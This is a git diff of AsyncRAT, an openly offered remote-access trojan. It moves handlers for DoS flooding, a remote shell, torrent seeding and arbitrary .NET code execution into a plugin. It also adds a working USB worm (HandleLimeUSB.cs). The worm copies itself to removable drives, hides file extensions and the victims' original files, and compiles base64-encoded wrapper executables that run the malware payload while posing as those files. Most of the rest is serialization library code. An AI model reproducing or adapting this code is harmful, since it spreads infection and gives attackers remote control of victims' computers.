Contact : https://github.com/NYAN-x-CAT - -// This program is distributed for educational purposes only. - -namespace Client.Handle_Packet +namespace Miscellaneous.Handler { public class HandleDos { @@ -39,7 +30,7 @@ namespace Client.Handle_Packet Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}"); - while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected) + while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && Connection.IsConnected) { for (int i = 0; i < 20; i++) { @@ -64,7 +55,12 @@ namespace Client.Handle_Packet Thread.Sleep(5000); } } - catch { return; } + catch (Exception ex) + { + Packet.Error(ex.Message); + Packet.ctsDos.Cancel(); + } } } + } diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleLimeUSB.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleLimeUSB.cs new file mode 100644 index 0000000..9bfa52a --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleLimeUSB.cs @@ -0,0 +1,226 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Text; +using System.Drawing.IconLib; +using System.Windows.Forms; +using Microsoft.Win32; +using System.Drawing; +using Microsoft.CSharp; +using System.CodeDom.Compiler; +using Microsoft.VisualBasic.Devices; + + +namespace Miscellaneous.Handler +{ + class HandleLimeUSB + { + public void Initialize() + { + ExplorerOptions(); + + foreach (DriveInfo usb in DriveInfo.GetDrives()) + { + try + { + if (usb.DriveType == DriveType.Removable && usb.IsReady) + { + if (!Directory.Exists(usb.RootDirectory.ToString() + Settings.WorkDirectory)) + { + Directory.CreateDirectory(usb.RootDirectory.ToString() + Settings.WorkDirectory); + File.SetAttributes(usb.RootDirectory.ToString() + Settings.WorkDirectory, FileAttributes.System | FileAttributes.Hidden); + } + + if (!Directory.Exists((usb.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + Settings.IconsDirectory))) + Directory.CreateDirectory((usb.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + Settings.IconsDirectory)); + + if (!File.Exists(usb.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + Settings.LimeUSBFile)) + File.Copy(Application.ExecutablePath, usb.RootDirectory.ToString() + Settings.WorkDirectory + "\\" + Settings.LimeUSBFile); + + CreteDirectory(usb.RootDirectory.ToString()); + InfectFiles(usb.RootDirectory.ToString()); + } + } + catch (Exception ex) + { + Debug.WriteLine("Initialize " + ex.Message); + } + } + } + + public void ExplorerOptions() + { + try + { + RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", true); + if (key.GetValue("Hidden") != (object)2) + key.SetValue("Hidden", 2); + if (key.GetValue("HideFileExt") != (object)1) + key.SetValue("HideFileExt", 1); + } + catch (Exception ex) + { + Debug.WriteLine("ExplorerOptions: " + ex.Message); + } + } + + public void InfectFiles(string path) + { + foreach (var file in Directory.GetFiles(path)) + { + try + { + if (CheckIfInfected(file)) + { + ChangeIcon(file); + File.Move(file, file.Insert(3, Settings.WorkDirectory + "\\")); + CompileFile(file); + } + } + catch (Exception ex) + { + Debug.WriteLine("InfectFiles " + ex.Message); + } + } + + foreach (var directory in Directory.GetDirectories(path)) + { + if (!directory.Contains(Settings.WorkDirectory)) + InfectFiles(directory); + } + } + + public void CreteDirectory(string usbDirectory) + { + foreach (var directory in Directory.GetDirectories(usbDirectory)) + { + try + { + if (!directory.Contains(Settings.WorkDirectory)) + { + if (!Directory.Exists(directory.Insert(3, Settings.WorkDirectory + "\\"))) + Directory.CreateDirectory(directory.Insert(3, Settings.WorkDirectory + "\\")); + CreteDirectory(directory); + } + } + catch (Exception ex) + { + Debug.WriteLine("CreteDirectory: " + ex.Message); + } + } + } + + public bool CheckIfInfected(string file) + { + try + { + FileVersionInfo info = FileVersionInfo.GetVersionInfo(file); + if (info.LegalTrademarks == Settings.InfectedTrademark) + return false; + else + return true; + } + catch + { + return false; + } + } + + public void ChangeIcon(string file) + { + try + { + Icon fileIcon = Icon.ExtractAssociatedIcon(file); + MultiIcon multiIcon = new MultiIcon(); + SingleIcon singleIcon = multiIcon.Add(Path.GetFileName(file)); + singleIcon.CreateFrom(fileIcon.ToBitmap(), IconOutputFormat.Vista); + singleIcon.Save(Path.GetPathRoot(file) + Settings.WorkDirectory + "\\" + Settings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(file.Replace(" ", null)) + ".ico"); + } + catch (Exception ex) + { + Debug.WriteLine("ChangeIcon: " + ex.Message); + } + } + + public void CompileFile(string infectedFile) + { + try + { + string source = Encoding.UTF8.GetString(Convert.FromBase64String("dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uRGlhZ25vc3RpY3M7CnVzaW5nIFN5c3RlbS5SZWZsZWN0aW9uOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpbYXNzZW1ibHk6IEFzc2VtYmx5VHJhZGVtYXJrKCIlTGltZSUiKV0KW2Fzc2VtYmx5OiBHdWlkKCIlR3VpZCUiKV0KCnN0YXRpYyBjbGFzcyAlTGltZVVTQk1vZHVsZSUKewogICAgcHVibGljIHN0YXRpYyB2b2lkIE1haW4oKQogICAgewogICAgICAgIHRyeQogICAgICAgIHsKICAgICAgICAgICAgU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoQCIlRmlsZSUiKTsKICAgICAgICB9CiAgICAgICAgY2F0Y2ggeyB9CiAgICAgICAgdHJ5CiAgICAgICAgewogICAgICAgICAgICBTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2Vzcy5TdGFydChAIiVQYXlsb2FkJSIpOwogICAgICAgIH0KICAgICAgICBjYXRjaCB7IH0KICAgIH0KfQ==")); + source = source.Replace("%Payload%", Path.GetPathRoot(infectedFile) + Settings.WorkDirectory + "\\" + Settings.LimeUSBFile); + source = source.Replace("%File%", infectedFile.Insert(3, Settings.WorkDirectory + "\\")); + source = source.Replace("%Lime%", Settings.InfectedTrademark); + source = source.Replace("%LimeUSBModule%", Randomz(new Random().Next(6, 12))); + source = source.Replace("%Guid%", Guid.NewGuid().ToString()); + + string[] referencedAssemblies = new string[] { "System.dll" }; + + var providerOptions = new Dictionary() { + {"CompilerVersion", "v4.0" } + }; + + var compilerOptions = "/target:winexe /platform:anycpu /optimize+"; + if (File.Exists(Path.GetPathRoot(infectedFile) + Settings.WorkDirectory + "\\" + Settings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(infectedFile.Replace(" ", null)) + ".ico")) + { + compilerOptions += $" /win32icon:\"{Path.GetPathRoot(infectedFile) + Settings.WorkDirectory + "\\" + Settings.IconsDirectory + "\\" + Path.GetFileNameWithoutExtension(infectedFile.Replace(" ", null)) + ".ico"}\""; + } + + using (var cSharpCodeProvider = new CSharpCodeProvider(providerOptions)) + { + var compilerParameters = new CompilerParameters(referencedAssemblies) + { + GenerateExecutable = true, + OutputAssembly = infectedFile + ".scr", + CompilerOptions = compilerOptions, + TreatWarningsAsErrors = false, + IncludeDebugInformation = false, + }; + var compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, source); + + //if (compilerResults.Errors.Count > 0) + //{ + // MessageBox.Show(string.Format("The compiler has encountered {0} errors", + // compilerResults.Errors.Count), "Errors while compiling", MessageBoxButtons.OK, + // MessageBoxIcon.Error); + + // foreach (CompilerError compilerError in compilerResults.Errors) + // { + // MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText, + // compilerError.Line, compilerError.Column, compilerError.FileName), "Error", + // MessageBoxButtons.OK, MessageBoxIcon.Error); + // } + //} + } + } + catch (Exception ex) + { + Debug.WriteLine("CompileFile " + ex.Message); + } + } + + public string Randomz(int L) + { + string validchars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + StringBuilder sb = new StringBuilder(); + Random rand = new Random(); + for (int i = 1; i <= L; i++) + { + int idx = rand.Next(0, validchars.Length); + char randomChar = validchars[idx]; + sb.Append(randomChar); + } + var randomString = sb.ToString(); + return randomString; + } + } + + public class Settings + { + public static readonly string InfectedTrademark = "Trademark - Lime"; + public static readonly string WorkDirectory = "$LimeUSB"; + public static readonly string LimeUSBFile = "LimeUSB.exe"; + public static readonly string IconsDirectory = "$LimeIcons"; + } + +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs similarity index 89% rename from AsyncRAT-C#/Client/Handle Packet/HandleShell.cs rename to AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs index cac03ee..32694f5 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleShell.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs @@ -1,5 +1,5 @@ -using Client.MessagePack; -using Client.Connection; +using Plugin; +using Plugin.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; @@ -9,7 +9,7 @@ using System.Management; using System.Text; using System.Threading; -namespace Client.Handle_Packet +namespace Miscellaneous.Handler { public static class HandleShell { @@ -42,7 +42,7 @@ namespace Client.Handle_Packet ProcessShell.Start(); ProcessShell.BeginOutputReadLine(); ProcessShell.BeginErrorReadLine(); - while (ClientSocket.IsConnected) + while (Connection.IsConnected) { Thread.Sleep(1); if (CanWrite) @@ -51,8 +51,8 @@ namespace Client.Handle_Packet { break; } - ProcessShell.StandardInput.WriteLine(Input); - CanWrite = false; + ProcessShell.StandardInput.WriteLine(Input); + CanWrite = false; } } @@ -68,8 +68,9 @@ namespace Client.Handle_Packet Output.AppendLine(e.Data); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "shell"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("ReadInput").AsString = Output.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } catch { } } @@ -87,6 +88,7 @@ namespace Client.Handle_Packet } } catch { } + Connection.Disconnected(); } private static void KillProcessAndChildren(int pid) @@ -110,4 +112,5 @@ namespace Client.Handle_Packet catch { } } } + } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleTorrent.cs similarity index 95% rename from AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs rename to AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleTorrent.cs index 7ac3e38..c55bdd5 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleTorrent.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleTorrent.cs @@ -1,5 +1,5 @@ -using Client.MessagePack; -using Client.Connection; +using Plugin; +using Plugin.MessagePack; using System; using System.Collections.Generic; using System.Diagnostics; @@ -10,7 +10,7 @@ using System.Text; using System.Threading; using System.Windows.Forms; -namespace Client.Handle_Packet +namespace Miscellaneous.Handler { public class HandleTorrent { @@ -50,7 +50,7 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Error"; msgpack.ForcePathObject("Error").AsString = "couldn't find a torrent client"; - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); return; } else @@ -87,7 +87,7 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Logs"; msgpack.ForcePathObject("Message").AsString = $"seeding using {Path.GetFileName(IsInstalled())}"; - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } } catch (Exception ex) @@ -124,4 +124,5 @@ namespace Client.Handle_Packet static extern bool IsWindowVisible(IntPtr hWnd); } + } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlerExecuteDotNetCode.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandlerExecuteDotNetCode.cs similarity index 97% rename from AsyncRAT-C#/Client/Handle Packet/HandlerExecuteDotNetCode.cs rename to AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandlerExecuteDotNetCode.cs index b19aa4b..4414241 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlerExecuteDotNetCode.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandlerExecuteDotNetCode.cs @@ -1,6 +1,7 @@ -using Client.MessagePack; -using Microsoft.CSharp; +using Microsoft.CSharp; using Microsoft.VisualBasic; +using Plugin; +using Plugin.MessagePack; using System; using System.CodeDom.Compiler; using System.Collections.Generic; @@ -9,7 +10,7 @@ using System.Linq; using System.Reflection; using System.Text; -namespace Client.Handle_Packet +namespace Miscellaneous.Handler { public class HandlerExecuteDotNetCode { @@ -85,4 +86,5 @@ namespace Client.Handle_Packet } } } -} \ No newline at end of file + +} diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/BytesTools.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/BytesTools.cs new file mode 100644 index 0000000..bd66e46 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/BytesTools.cs @@ -0,0 +1,102 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public class BytesTools + { + static UTF8Encoding utf8Encode = new UTF8Encoding(); + + public static byte[] GetUtf8Bytes(String s) + { + + return utf8Encode.GetBytes(s); + } + + public static String GetString(byte[] utf8Bytes) + { + return utf8Encode.GetString(utf8Bytes); + } + + public static String BytesAsString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:D3} ", b)); + } + return sb.ToString(); + } + + + public static String BytesAsHexString(byte[] bytes) + { + StringBuilder sb = new StringBuilder(); + foreach (byte b in bytes) + { + sb.Append(String.Format("{0:X2} ", b)); + } + return sb.ToString(); + } + + /// + /// 交换byte数组数据 + /// 可用于高低数据交换 + /// + /// 要交换的byte数组 + /// 返回交换后的数据 + public static byte[] SwapBytes(byte[] v) + { + byte[] r = new byte[v.Length]; + int j = v.Length - 1; + for (int i = 0; i < r.Length; i++) + { + r[i] = v[j]; + j--; + } + return r; + } + + public static byte[] SwapInt64(Int64 v) + { + //byte[] r = new byte[8]; + //r[7] = (byte)v; + //r[6] = (byte)(v >> 8); + //r[5] = (byte)(v >> 16); + //r[4] = (byte)(v >> 24); + //r[3] = (byte)(v >> 32); + //r[2] = (byte)(v >> 40); + //r[1] = (byte)(v >> 48); + //r[0] = (byte)(v >> 56); + return SwapBytes(BitConverter.GetBytes(v)); + } + + public static byte[] SwapInt32(Int32 v) + { + byte[] r = new byte[4]; + r[3] = (byte)v; + r[2] = (byte)(v >> 8); + r[1] = (byte)(v >> 16); + r[0] = (byte)(v >> 24); + return r; + } + + + public static byte[] SwapInt16(Int16 v) + { + byte[] r = new byte[2]; + r[1] = (byte)v; + r[0] = (byte)(v >> 8); + return r; + } + + public static byte[] SwapDouble(Double v) + { + return SwapBytes(BitConverter.GetBytes(v)); + } + + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPack.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPack.cs new file mode 100644 index 0000000..131eb37 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/MessagePack/MsgPack.cs @@ -0,0 +1,926 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + + +namespace Plugin.MessagePack +{ + public class MsgPackEnum : IEnumerator + { + List children; + int position = -1; + + public MsgPackEnum(List obj) + { + children = obj; + } + object IEnumerator.Current + { + get { return children[position]; } + } + + bool IEnumerator.MoveNext() + { + position++; + return (position < children.Count); + } + + void IEnumerator.Reset() + { + position = -1; + } + + } + + public class MsgPackArray + { + List children; + MsgPack owner; + + public MsgPackArray(MsgPack msgpackObj, List listObj) + { + owner = msgpackObj; + children = listObj; + } + + public MsgPack Add() + { + return owner.AddArrayChild(); + } + + public MsgPack Add(String value) + { + MsgPack obj = owner.AddArrayChild(); + obj.AsString = value; + return obj; + } + + public MsgPack Add(Int64 value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsInteger(value); + return obj; + } + + public MsgPack Add(Double value) + { + MsgPack obj = owner.AddArrayChild(); + obj.SetAsFloat(value); + return obj; + } + + public MsgPack this[int index] + { + get { return children[index]; } + } + + public int Length + { + get { return children.Count; } + } + } + + public class MsgPack : IEnumerable + { + string name; + string lowerName; + object innerValue; + MsgPackType valueType; + MsgPack parent; + List children = new List(); + MsgPackArray refAsArray = null; + + private void SetName(string value) + { + this.name = value; + this.lowerName = name.ToLower(); + } + + private void Clear() + { + for (int i = 0; i < children.Count; i++) + { + ((MsgPack)children[i]).Clear(); + } + children.Clear(); + } + + private MsgPack InnerAdd() + { + MsgPack r = new MsgPack(); + r.parent = this; + this.children.Add(r); + return r; + } + + private int IndexOf(string name) + { + int i = -1; + int r = -1; + + string tmp = name.ToLower(); + foreach (MsgPack item in children) + { + i++; + if (tmp.Equals(item.lowerName)) + { + r = i; + break; + } + } + return r; + } + + public MsgPack FindObject(string name) + { + int i = IndexOf(name); + if (i == -1) + { + return null; + } + else + { + return this.children[i]; + } + } + + + private MsgPack InnerAddMapChild() + { + if (valueType != MsgPackType.Map) + { + Clear(); + this.valueType = MsgPackType.Map; + } + return InnerAdd(); + } + + private MsgPack InnerAddArrayChild() + { + if (valueType != MsgPackType.Array) + { + Clear(); + this.valueType = MsgPackType.Array; + } + return InnerAdd(); + } + + public MsgPack AddArrayChild() + { + return InnerAddArrayChild(); + } + + private void WriteMap(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x80 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDE; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDF; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + for (int i = 0; i < len; i++) + { + WriteTools.WriteString(ms, children[i].name); + children[i].Encode2Stream(ms); + } + } + + private void WirteArray(Stream ms) + { + byte b; + byte[] lenBytes; + int len = children.Count; + if (len <= 15) + { + b = (byte)(0x90 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDC; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDD; + ms.WriteByte(b); + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + + + for (int i = 0; i < len; i++) + { + ((MsgPack)children[i]).Encode2Stream(ms); + } + } + + public void SetAsInteger(Int64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.Integer; + } + + public void SetAsUInt64(UInt64 value) + { + this.innerValue = value; + this.valueType = MsgPackType.UInt64; + } + + public UInt64 GetAsUInt64() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToUInt64((Int64)this.innerValue); + case MsgPackType.UInt64: + return (UInt64)this.innerValue; + case MsgPackType.String: + return UInt64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToUInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToUInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToUInt64((DateTime)this.innerValue); + default: + return 0; + } + + } + + public Int64 GetAsInteger() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return (Int64)this.innerValue; + case MsgPackType.UInt64: + return Convert.ToInt64((Int64)this.innerValue); + case MsgPackType.String: + return Int64.Parse(this.innerValue.ToString().Trim()); + case MsgPackType.Float: + return Convert.ToInt64((Double)this.innerValue); + case MsgPackType.Single: + return Convert.ToInt64((Single)this.innerValue); + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + public Double GetAsFloat() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return Convert.ToDouble((Int64)this.innerValue); + case MsgPackType.String: + return Double.Parse((String)this.innerValue); + case MsgPackType.Float: + return (Double)this.innerValue; + case MsgPackType.Single: + return (Single)this.innerValue; + case MsgPackType.DateTime: + return Convert.ToInt64((DateTime)this.innerValue); + default: + return 0; + } + } + + + public void SetAsBytes(byte[] value) + { + this.innerValue = value; + this.valueType = MsgPackType.Binary; + } + + public byte[] GetAsBytes() + { + switch (this.valueType) + { + case MsgPackType.Integer: + return BitConverter.GetBytes((Int64)this.innerValue); + case MsgPackType.String: + return BytesTools.GetUtf8Bytes(this.innerValue.ToString()); + case MsgPackType.Float: + return BitConverter.GetBytes((Double)this.innerValue); + case MsgPackType.Single: + return BitConverter.GetBytes((Single)this.innerValue); + case MsgPackType.DateTime: + long dateval = ((DateTime)this.innerValue).ToBinary(); + return BitConverter.GetBytes(dateval); + case MsgPackType.Binary: + return (byte[])this.innerValue; + default: + return new byte[] { }; + } + } + + public void Add(string key, String value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsString(value); + } + + public void Add(string key, int value) + { + MsgPack tmp = InnerAddArrayChild(); + tmp.name = key; + tmp.SetAsInteger(value); + } + + public bool LoadFileAsBytes(string fileName) + { + if (File.Exists(fileName)) + { + byte[] value = null; + FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read); + value = new byte[fs.Length]; + fs.Read(value, 0, (int)fs.Length); + fs.Close(); + fs.Dispose(); + SetAsBytes(value); + return true; + } + else + { + return false; + } + + } + + public bool SaveBytesToFile(string fileName) + { + if (this.innerValue != null) + { + FileStream fs = new FileStream(fileName, FileMode.Append); + fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); + fs.Close(); + fs.Dispose(); + return true; + } + else + { + return false; + } + } + + public MsgPack ForcePathObject(string path) + { + MsgPack tmpParent, tmpObject; + tmpParent = this; + string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' }); + string tmp = null; + if (pathList.Length == 0) + { + return null; + } + else if (pathList.Length > 1) + { + for (int i = 0; i < pathList.Length - 1; i++) + { + tmp = pathList[i]; + tmpObject = tmpParent.FindObject(tmp); + if (tmpObject == null) + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + } + else + { + tmpParent = tmpObject; + } + } + } + tmp = pathList[pathList.Length - 1]; + int j = tmpParent.IndexOf(tmp); + if (j > -1) + { + return tmpParent.children[j]; + } + else + { + tmpParent = tmpParent.InnerAddMapChild(); + tmpParent.SetName(tmp); + return tmpParent; + } + } + + public void SetAsNull() + { + Clear(); + this.innerValue = null; + this.valueType = MsgPackType.Null; + } + + public void SetAsString(String value) + { + this.innerValue = value; + this.valueType = MsgPackType.String; + } + + public String GetAsString() + { + if (this.innerValue == null) + { + return ""; + } + else + { + return this.innerValue.ToString(); + } + + } + + public void SetAsBoolean(Boolean bVal) + { + this.valueType = MsgPackType.Boolean; + this.innerValue = bVal; + } + + public void SetAsSingle(Single fVal) + { + this.valueType = MsgPackType.Single; + this.innerValue = fVal; + } + + public void SetAsFloat(Double fVal) + { + this.valueType = MsgPackType.Float; + this.innerValue = fVal; + } + + + + public void DecodeFromBytes(byte[] bytes) + { + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } + } + + public void DecodeFromFile(string fileName) + { + FileStream fs = new FileStream(fileName, FileMode.Open); + DecodeFromStream(fs); + fs.Dispose(); + } + + + + public void DecodeFromStream(Stream ms) + { + byte lvByte = (byte)ms.ReadByte(); + byte[] rawByte = null; + MsgPack msgPack = null; + int len = 0; + int i = 0; + + if (lvByte <= 0x7F) + { //positive fixint 0xxxxxxx 0x00 - 0x7f + SetAsInteger(lvByte); + } + else if ((lvByte >= 0x80) && (lvByte <= 0x8F)) + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Map; + len = lvByte - 0x80; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.SetName(ReadTools.ReadString(ms)); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f + { + //fixmap 1000xxxx 0x80 - 0x8f + this.Clear(); + this.valueType = MsgPackType.Array; + len = lvByte - 0x90; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf + { + len = lvByte - 0xA0; + SetAsString(ReadTools.ReadString(ms, len)); + } + else if ((lvByte >= 0xE0) && (lvByte <= 0xFF)) + { /// -1..-32 + // negative fixnum stores 5-bit negative integer + // +--------+ + // |111YYYYY| + // +--------+ + SetAsInteger((sbyte)lvByte); + } + else if (lvByte == 0xC0) + { + SetAsNull(); + } + else if (lvByte == 0xC1) + { + throw new Exception("(never used) type $c1"); + } + else if (lvByte == 0xC2) + { + SetAsBoolean(false); + } + else if (lvByte == 0xC3) + { + SetAsBoolean(true); + } + else if (lvByte == 0xC4) + { // max 255 + len = ms.ReadByte(); + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC5) + { // max 65535 + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToUInt16(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if (lvByte == 0xC6) + { // binary max: 2^32-1 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt32(rawByte, 0); + + // read binary + rawByte = new byte[len]; + ms.Read(rawByte, 0, len); + SetAsBytes(rawByte); + } + else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9)) + { + throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9"); + } + else if (lvByte == 0xCA) + { // float 32 + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + + SetAsSingle(BitConverter.ToSingle(rawByte, 0)); + } + else if (lvByte == 0xCB) + { // float 64 + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsFloat(BitConverter.ToDouble(rawByte, 0)); + } + else if (lvByte == 0xCC) + { // uint8 + // uint 8 stores a 8-bit unsigned integer + // +--------+--------+ + // | 0xcc |ZZZZZZZZ| + // +--------+--------+ + lvByte = (byte)ms.ReadByte(); + SetAsInteger(lvByte); + } + else if (lvByte == 0xCD) + { // uint16 + // uint 16 stores a 16-bit big-endian unsigned integer + // +--------+--------+--------+ + // | 0xcd |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt16(rawByte, 0)); + } + else if (lvByte == 0xCE) + { + // uint 32 stores a 32-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+ + // | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToUInt32(rawByte, 0)); + } + else if (lvByte == 0xCF) + { + // uint 64 stores a 64-bit big-endian unsigned integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsUInt64(BitConverter.ToUInt64(rawByte, 0)); + } + else if (lvByte == 0xDC) + { + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdc |YYYYYYYY|YYYYYYYY| N objects | + // +--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + len = BitConverter.ToInt16(rawByte, 0); + + this.Clear(); + this.valueType = MsgPackType.Array; + for (i = 0; i < len; i++) + { + msgPack = InnerAdd(); + msgPack.DecodeFromStream(ms); + } + } + else if (lvByte == 0xDD) + { + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + // | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects | + // +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = 